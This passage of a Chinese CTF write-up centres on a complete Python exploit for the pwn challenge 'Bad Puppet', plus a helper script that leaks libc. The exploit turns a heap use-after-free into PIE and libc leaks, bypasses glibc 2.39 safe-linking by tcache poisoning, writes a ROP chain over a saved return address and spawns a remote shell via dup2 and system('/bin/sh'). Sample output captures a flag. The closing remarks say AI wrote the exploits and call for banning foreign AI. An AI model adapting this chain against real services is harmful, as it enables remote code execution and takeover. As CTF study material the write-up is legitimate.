为什么要那个额外的 ret:system 内部有 movaps,要求 16 字节栈对齐,不对齐会直接 SIGSEGV。加一个 ret 把栈错开 8 字节。

最后 quit 触发 command_loop 返回:

1
2
send('quit')
# → dup2(fd,0/1/2); system("/bin/sh")

结果:

1
2
3
4
5
6
7
8
9
[+] Dangling Rings: A=0x55df3ba7f830, B=0x55df3ba7fff0
[+] heap[A+0x190] = 0x55df3ba8a6d8
[+] PIE base: 0x55df3ba75000 (from heap code ptr)
[+] libc base: 0x7f... (GOT __libc_start_main)
[+] environ = 0x7ffd...
[+] saved RIP at 0x7ffd... (environ-0x270)
[+] libc=... PIE=... saved_rip=... socket_fd=4
[+] Wrote 200-byte ROP chain to saved RIP using tcache poisoning
[+] Triggering command_loop return...

shell 里执行:

1
2
3
-rw-r--r--   1 root root   42 Nov  1 03:17 flag
flag{47a9e31d-aa11-4d82-9693-fb80d05e1003}
[+] VERIFIED: commands executed through remote shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
#!/usr/bin/env python3
"""Bad Puppet (CTF) full ROP exploit, verified local shell.

python3 exp.py --local --binary-dir ./bad_puppet
python3 exp.py HOST PORT
python3 exp.py HOST PORT --interactive

Requires only Python 3 standard library. Offsets assume bundled glibc 2.39.
"""
import argparse
import os
import sys
import re
import select
import socket
import struct
import subprocess
import time

p64=lambda v: struct.pack('<Q',v)
PACE=1.0
LIBC_MAIN_ARENA_OFFSET=0x204ac0
LIBC_ENVIRON_OFFSET=0x20bd58
ELF_PREFIX=0x464c457f

class Conn:
def __init__(self,host,port,binary_dir=None):
self.proc=None
if binary_dir:
self.proc=subprocess.Popen(['./bad_puppet'], cwd=binary_dir,
stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
time.sleep(.25)
self.sock=socket.create_connection((host,port),timeout=8)
self.sock.setblocking(True)
self.recv(.15)

def recv(self,timeout=.09):
buf=bytearray()
timeout*=PACE
deadline=time.monotonic()+max(1.0,timeout*14)
while time.monotonic()<deadline and select.select([self.sock],[],[],timeout)[0]:
try: data=self.sock.recv(65536)
except (ConnectionResetError, BrokenPipeError): break
if not data:break
buf+=data
return buf.decode('utf-8','replace')

def send(self,cmd,timeout=.11):
self.sock.sendall((cmd+'\n').encode())
return self.recv(timeout*PACE)

def close(self):
self.sock.close()
if self.proc and self.proc.poll() is None:
self.proc.terminate()
try:self.proc.wait(timeout=2)
except subprocess.TimeoutExpired:self.proc.kill()

class Leak:
def __init__(self,conn):
self.c=conn
for cmd in ('shop buy 3 2147483648','map teleport castle','battle',
'use item','1','2147483648','mw pickup 0','inv equip 1'):
out=conn.send(cmd,.16)
out=conn.send('mw show',.15)
assert 'description_addr=' in out, 'Could not obtain Ring; boss/transaction desync'
for cmd in ('inv drop 1','mw pickup 0','inv equip 1','inv drop 1',
'mw pickup 0','inv equip 1','mw throw 0'):
conn.send(cmd,.16)
out=conn.send('mw show',.13)
addresses=re.findall(r'description_addr=(0x[0-9a-fA-F]+)',out)
assert len(addresses)==2, ('Ring duplication failed',out)
self.B=int(addresses[0],16)
self.A=int(addresses[1],16)
print('[+] Dangling Rings: A=%#x, B=%#x'%(self.A,self.B),flush=True)

buf=bytearray(351)
buf[:32]=b'X'*32
buf[0x88:0x90]=p64(0x51) # fake 0x50 chunk inside A
buf[0x90:0x98]=p64(0x1234) # fake Weapon at A+0x90
buf[0x98:0xa0]=p64(1)
buf[0xb0:0xb9]=b'FakeSword'
conn.send('mw whisper 0 '+buf.hex(),.16)
conn.send('mw throw 1',.16) # frees A+0x90 into WORLD tcache
bought=conn.send('shop buy 0 3',.19)
assert 'queued:' in bought, ('Failed to purchase swords',bought)
for _ in range(3):
conn.send('inv equip 1',.17)
conn.send('mw throw 1',.17)
out=conn.send('mw show',.15)
assert '[4]' in out, 'Expected 5 world drops (8-pointer vector overlap)'
print('[+] World drops vector overlapped at A+0x90',flush=True)

def read_many(self,addresses):
assert 1 <= len(addresses) <= 5
b=bytearray(351)
b[:8]=b'README!!'
for i in range(5):
target=addresses[min(i,len(addresses)-1)]
b[0x90+8*i:0x98+8*i]=p64(target)
self.c.send('mw whisper 0 '+b.hex(),.085)
out=self.c.send('mw show',.10)
if 'Drops:' not in out:
out+=self.c.recv(.17)
assert 'Drops:' in out, ('No game response / crashed',out[-1000:])
drop_lines=out.split('Drops:')[-1]
fields=re.findall(r'\[(\d+)\] #(\d+)',drop_lines)
assert len(fields)>=len(addresses), ('Read failed',addresses,out[-1000:])
return [int(fields[i][1]) for i in range(len(addresses))]

def read64(self,addr): return self.read_many([addr])[0]

def leak_libc(self):
arena=self.A & ~0xffff
seen=set()
for i in range(12):
assert arena not in seen, 'arena list cycle'
seen.add(arena)
nxt=self.read64(arena+0x8a0)
print('[+] arena[%d] %s -> %s'%(i,hex(arena),hex(nxt)),flush=True)
if (nxt & 0xfff) != 0x30:
libc=nxt-LIBC_MAIN_ARENA_OFFSET
assert libc & 0xfff == 0,'Invalid libc base; check libc version'
print('[+] libc base: %#x'%libc,flush=True)
return libc
arena=nxt-0x30
raise RuntimeError('main_arena not located')

def read_words(self, addrs):
out=[]
i=0
while i<len(addrs):
n=min(5,len(addrs)-i)
out+=self.read_many(addrs[i:i+n])
i+=n
return out

def leak_pie_libc(self):
"""PIE via the code pointer the game keeps at A+0x190, libc via GOT.

Works whether the dangling Ring lives in a thread arena (mmap) or in the
main arena (brk heap), so it no longer depends on the allocator layout.
"""
v=self.read64(self.A+0x190)
print('[+] heap[A+0x190] = %#x'%v,flush=True)
if not (0x400000000000<=v<0x7f0000000000) or abs(v-self.A)<0x200000:
print('[!] A+0x190 does not look like a PIE code pointer',flush=True)
return None,None
# every candidate while walking down stays inside the PIE mapping
pie=None
for k in range(0x30):
cand=v-0x6d8-k*0x1000
if cand<0x400000000000: break
if (self.read64(cand)&0xffffffff)==ELF_PREFIX:
pie=cand;break
if pie is None:
print('[!] PIE base not found by ELF magic',flush=True)
return None,None
print('[+] PIE base: %#x (from heap code ptr)'%pie,flush=True)
libc=self.read64(pie+GOT_START_MAIN)-LIBC_START_MAIN
if libc&0xfff:
print('[!] implausible libc base %#x'%libc,flush=True)
return pie,None
print('[+] libc base: %#x (GOT __libc_start_main)'%libc,flush=True)
return pie,libc


# Provided challenge's libc 2.39 and executable layout.
GOT_START_MAIN = 0x19fd0 # GOT slot of __libc_start_main
LIBC_START_MAIN = 0x2a200 # its offset inside libs/libc.so.6
POP_RDI=0x10c08d
POP_RSI=0x110b7d
DUP2=0x116c30
SYSTEM=0x58750
BINSH=0x1cc42f
CLIENT_FD_ELF_OFFSET=0x1a040


def exploit(c):
e=Leak(c)
pie,libc=e.leak_pie_libc()
if pie is None or libc is None:
raise RuntimeError('PIE/libc leak failed')
# environ lives in libc; the command_loop return address slot sits at a
# stable offset below it, so probe a narrow window first and widen after.
environ=e.read64(libc+LIBC_ENVIRON_OFFSET)
print('[+] environ = %#x'%environ,flush=True)
want=pie+0x5118
saved_rip=None
for lo,hi in ((0x220,0x2c0),(0x80,0x900)):
addrs=[environ-8*i for i in range(lo//8,hi//8)]
for a,v in zip(addrs,e.read_words(addrs)):
if v==want:
saved_rip=a;break
if saved_rip: break
if saved_rip is None:
raise RuntimeError('saved RIP slot not found')
print('[+] saved RIP at %#x (environ-%#x)'%(saved_rip,environ-saved_rip),flush=True)
client_fd=e.read64(pie+CLIENT_FD_ELF_OFFSET)
if not 3<=client_fd<1024:
raise RuntimeError('implausible socket fd: %s'%client_fd)
print('[+] libc=%#x PIE=%#x saved_rip=%#x socket_fd=%d'%
(libc,pie,saved_rip,client_fd),flush=True)

a=e.A
g1=a+0x20
g2=a+0x60
r1=g1+0x90
r2=g2+0x90
weapon_x=a+0x150
weapon_y=a+0x70
target=saved_rip-0x18
assert target%16==0

def payload(poison=False):
b=bytearray(351)
b[0x18:0x20]=p64(0xf1) # fake 0xf0 ring-description chunk #1
b[0x20:0x28]=p64(0x1111)
b[0x58:0x60]=p64(0xf1) # fake 0xf0 ring-description chunk #2
b[0x60:0x68]=p64(target^(g2>>12)) if poison else p64(0x2222)
b[0x68:0x70]=p64(0) if poison else p64(1)
b[0x90:0x98]=p64(r1) # world drops[0] overlap
b[0x98:0xa0]=p64(r2) # world drops[1] overlap
b[0xa0:0xa8]=p64(1)
b[0xb0:0xb8]=p64(1)
b[0xb8:0xbc]=struct.pack('<I',2)
b[0xd0]=0
b[0xe0:0xe8]=p64(1)
b[0xf0:0xf8]=p64(2)
b[0xf8:0xfc]=struct.pack('<I',2)
b[0x110]=0
b[0x148:0x150]=p64(0x51) # fake Weapon X header (free into 0x50)
b[0x150:0x158]=p64(3)
b[0x158:0x15c]=struct.pack('<I',1)
return b

def whisper(buf):
ans=c.send('mw whisper 0 '+bytes(buf).hex(),.22)
if 'whispered to ring' not in ans:
raise RuntimeError('world whisper failed: '+repr(ans[-400:]))

def send(cmd,expected=None):
ans=c.send(cmd,.23)
if expected is not None and expected not in ans:
raise RuntimeError('unexpected result for %s: %s'%(cmd,ans[-600:]))
return ans

# The 5-slot drop-vector already exists from Leak(). Do not 'pickup' the
# remaining arbitrary pointers left by address disclosure: only replace
# and collect the first two actual entries.
whisper(payload())
send('mw pickup 0','pickup queued')
send('mw pickup 0','pickup queued')
send('inv equip 0','equip')
send('mw throw 1','throws equipped item') # remove original Tree Branch

x=payload()
x[0x90:0x98]=p64(weapon_x)
whisper(x)
send('mw pickup 0','pickup queued')

y=payload()
y[0x90:0x98]=p64(weapon_y)
y[0x68:0x70]=p64(0x51)
y[0x70:0x78]=p64(3)
y[0x78:0x7c]=struct.pack('<I',1)
whisper(y)
send('mw pickup 0','pickup queued')
# Inventory now [R1,R2,WeaponX,WeaponY]. Free both ring descriptions
# in the transaction thread's tcache (different from world-thread tcache).
send('inv drop 0','inventory queued drop')
send('inv drop 0','inventory queued drop')
whisper(payload(True)) # safe-linked fd = target XOR (g2 >> 12)
send('inv drop 0','inventory queued drop') # malloc(0xe8) consumes g2

# Restore WeaponY AFTER the first allocation, which otherwise overwrites
# its forged source object. WeaponY's 0xe8-byte clone becomes our ROP.
rr=payload(True)
rr[0x68:0x70]=p64(0x51)
rr[0x70:0x78]=p64(3)
rr[0x78:0x7c]=struct.pack('<I',1)
prdi=libc+POP_RDI
prsi=libc+POP_RSI
ret=prdi+1
rop=[ret]
for dst in (0,1,2):
rop.extend((prdi,client_fd,prsi,dst,libc+DUP2))
rop.extend((prdi,libc+BINSH,ret,libc+SYSTEM))
packed=b''.join(map(p64,rop))
assert len(packed)<=0xe8-0x18
rr[0x88:0x88+len(packed)]=packed
whisper(rr)
send('inv drop 0','inventory queued drop') # next malloc(0xe8) -> stack
print('[+] Wrote %d-byte ROP chain to saved RIP using tcache poisoning'%len(packed),flush=True)

print('[+] Triggering command_loop return...',flush=True)
send('quit','bye')
# shell process now runs on our socket via dup2(fd,0/1/2)
return c


def interactive(sock):
import threading
def reader():
try:
while True:
x=sock.recv(65536)
if not x:break
sys.stdout.buffer.write(x)
sys.stdout.buffer.flush()
except OSError:pass
t=threading.Thread(target=reader,daemon=True)
t.start()
try:
for line in sys.stdin.buffer:
sock.sendall(line)
except (KeyboardInterrupt,BrokenPipeError,ConnectionResetError):pass


def main():
ap=argparse.ArgumentParser(description='Bad Puppet glibc 2.39 heap-to-stack ROP shell')
ap.add_argument('host',nargs='?',default='127.0.0.1')
ap.add_argument('port',nargs='?',type=int,default=31337)
ap.add_argument('--local',action='store_true',help='start the bundled binary locally')
ap.add_argument('--binary-dir',default='./bad_puppet',help='folder containing bad_puppet and libs/')
ap.add_argument('--interactive',action='store_true',help='keep stdin/stdout attached to spawned shell')
ap.add_argument('--slow',type=float,default=1.0,help='multiply all response timeouts (use 2-3 on high latency)')
ap.add_argument('--cmd',default='echo __PWNED__; id; cat /flag 2>/dev/null; echo __DONE__',
help='shell command to run (default checks id and /flag)')
a=ap.parse_args()
global PACE
PACE=a.slow
c=Conn(a.host,a.port,binary_dir=a.binary_dir if a.local else None)
try:
exploit(c)
c.sock.sendall((a.cmd+'\n').encode())
out=c.recv(.45)
print(out,end='' if out.endswith('\n') else '\n',flush=True)
if '__PWNED__' in out:
print('[+] VERIFIED: commands executed through remote shell',flush=True)
else:
print('[!] No shell confirmation in output; check target/libc',flush=True)
if a.interactive:
print('[*] Interactive shell: type commands, Ctrl-C to leave',flush=True)
interactive(c.sock)
finally:
c.close()


if __name__=='__main__':
main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
"""Locate an unsorted-bin chunk near A in the main arena and derive libc base."""
import sys
sys.path.insert(0, '/exp')
import bad_puppet_exp2 as E

host, port = sys.argv[1], int(sys.argv[2])
span = int(sys.argv[3], 0) if len(sys.argv) > 3 else 0x1200
MAIN_ARENA = 0x204ac0
UNSORTED_OFF = 0x70 # &main_arena.bins[0]

c = E.Conn(host, port)
try:
L = E.Leak(c)
A = L.A
print('[+] A=%#x' % A, flush=True)
addrs = [A + 8*i for i in range(span//8)]
vals = []
i = 0
while i < len(addrs):
n = min(5, len(addrs)-i)
vals += L.read_many(addrs[i:i+n])
i += n
hits = []
for i in range(len(vals)-1):
v = vals[i]
if v == vals[i+1] and 0x700000000000 <= v < 0x800000000000 and (v & 0xfff) == (MAIN_ARENA + UNSORTED_OFF) & 0xfff:
hits.append((i*8, v))
for off, v in hits:
libc = v - MAIN_ARENA - UNSORTED_OFF
ok = (L.read64(libc) & 0xffffffff) == E.ELF_PREFIX
print('[+] unsorted fd/bk at A+%#x = %#x -> libc %#x magic_ok=%s' % (off, v, libc, ok), flush=True)
if not hits:
print('[!] no unsorted chunk found in A..A+%#x' % span, flush=True)
finally:
c.close()

头疼, 强网这边 pwn 不仅题目多,而且还有盲 pwn !没有附件的 pwn 真是,除了 ai 写,人写要似了。

队伍里面没有 pwn 手真实急哭了。

能不能以后禁止国外 ai ,都用国模啊。他们手里攥着 daybreak ,我们只有区区大肥鱼!

就应该让国内 ai 变强!复兴中华!

强网拟态那边的 misc 都是渗透,感觉有点 web 的味道,全是自动化大肥鱼自己写的,就不贴了。

我强网这边一共打了 705.81分。